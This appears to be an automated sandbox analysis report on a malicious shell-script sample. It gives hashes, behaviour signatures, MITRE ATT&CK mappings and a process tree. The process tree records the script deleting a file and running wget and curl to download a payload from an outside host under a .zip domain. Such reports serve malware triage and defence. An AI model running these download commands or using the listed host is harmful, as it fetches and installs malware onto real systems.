2e2b3ce541f65d397202c55134a2322f97b77030ad26f52489c8a65e1fffa017

Analysis

max time kernel
149s
max time network
21s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21/11/2024, 01:00

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General

Target
3f7a8adc0ac9b7c50701aef9ecee0ed8802d844994998c2f67757fe59a993aa9.sh
Size 10KB
Sample241121-bc2yra1rel
SHA256 3f7a8adc0ac9b7c50701aef9ecee0ed8802d844994998c2f67757fe59a993aa9
MD5 0766721821c3e4418c33ba73125add0a
SHA1 dbb008070c9b62378d29f42036e1fc7efe93f963
SHA512 9a6809971b4580445532ad31ea38a94caae344dc687e796b088d42efecba73548b90e7514e730e39075a44df9ea80b63cedb38e1a9f07cccb2723a46ca0f4f19
SSDEEP 192:iUkUUUxUGUaUhdFgHDIvv1WZMMLGhltufzapUkUUUxUGUaUxdFgHD+eMMLGHltuv:Gv1W2ltufzaNltufzD
MD5 SHA1 SHA512 SSDEEP

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
660	wget
666	curl

/tmp/3f7a8adc0ac9b7c50701aef9ecee0ed8802d844994998c2f67757fe59a993aa9.sh
/tmp/3f7a8adc0ac9b7c50701aef9ecee0ed8802d844994998c2f67757fe59a993aa9.sh
1⤵
PID:652
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:656
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
  2⤵
  - System Network Configuration Discovery
  PID:660
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:666

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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